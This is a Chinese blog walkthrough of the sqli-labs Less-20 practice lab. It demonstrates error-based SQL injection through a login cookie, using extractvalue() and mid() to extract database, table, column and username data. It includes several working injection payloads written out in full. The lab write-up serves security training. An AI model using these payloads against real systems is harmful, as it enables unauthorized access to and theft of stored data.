【网络安全】sqli-labs Less-20 解题详析

本文详细解析sqli-labs Less-20关卡的解题过程,通过报错注入技巧与mid函数应用,成功获取数据库信息,包括库名、表名、列名及数据。

正文

由源码可知,注入类型为单引号注入,注入点为cookie

在这里插入图片描述

测试得到正确的用户名为admin,密码为1,登录:

在这里插入图片描述
抓包后修改cookie即可

该题使用报错注入,原理及姿势参考: 报错注入+Sqli-Labs Less-5实战


查库名

admin' and extractvalue(1,concat(0x23,database()))#

在这里插入图片描述

得到库名为security


查表名

admin' and extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema = database())))#

在这里插入图片描述


查列名

admin' and extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'users')))#

在这里插入图片描述

得到三个列


查数据

该姿势使用到mid函数,参考文章:【mid函数原理、应用及实战讲解】

我们以username列为例,利用mid()函数构造POC如下:

admin' and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),1,32)))#

在这里插入图片描述

接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:

POC如下:

admin' and extractvalue(1,concat(0x23,mid((select group_concat(username) from users),32,32)))#

在这里插入图片描述

同理即可得到所有的username


总结

以上为【网络安全】sqli-labs Less-20 解题详析,考察报错注入及mid函数的应用,后续将分享【网络安全】sqli-labs Less-21 解题详析。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值